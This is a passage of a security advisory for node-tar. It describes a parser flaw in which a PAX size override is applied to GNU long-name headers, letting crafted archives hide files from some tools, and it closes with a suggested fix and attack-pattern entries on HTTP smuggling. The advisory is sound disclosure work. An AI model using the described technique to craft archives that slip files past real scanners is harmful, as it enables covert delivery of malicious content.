`TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header \u2014 when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader\u0027s type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
"id": "GHSA-vmf3-w455-68vh",
"modified": "2026-06-15T17:19:42Z",
"published": "2026-06-15T17:19:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)"
}
No mitigation information available for this CWE.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.